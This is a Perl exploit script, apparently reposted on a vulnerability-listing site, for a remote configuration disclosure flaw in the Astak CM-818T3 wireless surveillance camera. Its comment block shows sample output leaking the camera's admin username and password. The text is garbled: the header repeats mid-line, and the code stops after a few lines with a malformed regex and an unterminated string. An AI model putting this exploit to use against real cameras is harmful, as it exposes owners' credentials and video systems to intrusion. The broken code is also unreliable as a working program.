#!/usr/bin/perl
#
# Astak CM-818T3 2.4GHz Wireless Security Surveillance Camera Remote Configuration Disclosure
#
# Copyright 2020 (c) Todor Donev <todor.donev at gmail.com> #!/usr/bin/perl
#
# Astak CM-818T3 2.4GHz Wireless Security Surveillance Camera Remote Configuration Disclosure
#
# Copyright 2020 (c) Todor Donev <todor.donev at gmail.com>
#
# https://donev.eu/
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
# [ Astak CM-818T3 2.4GHz Wireless Security Surveillance Camera Remote Configuration Disclosure
# [ ===========================================================================================
# [ Exploit Author: Todor Donev 2020 <todor.donev@gmail.com> -- https://donev.eu/
# [ Initializing the browser
# [ >> User-Agent => Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060627 Galeon/2.0.1
# [ >> Content-Type => application/x-www-form-urlencoded
# [ << Connection => close
# [ << Date => Tue, 25 Feb 2020 12:05:06 GMT
# [ << Accept-Ranges => bytes
# [ << Server => thttpd/2.25b 29dec2003
# [ << Content-Length => 9032
# [ << Content-Type => application/octet-stream
# [ << Last-Modified => Tue, 25 Feb 2020 12:05:05 GMT
# [ << Client-Date => Tue, 25 Feb 2020 11:05:22 GMT
# [ << Client-Response-Num => 1
# [
# [ Username : admin
# [ Password : admin
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster 'gunzip';
my $host = shift || ''; # Full path url to the store
my $cmd = shift || ''; # show - Show configuration dump
$host =~ s//$//;
print "
Astak CM-818T3 Remote Configuration Disclosure
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 274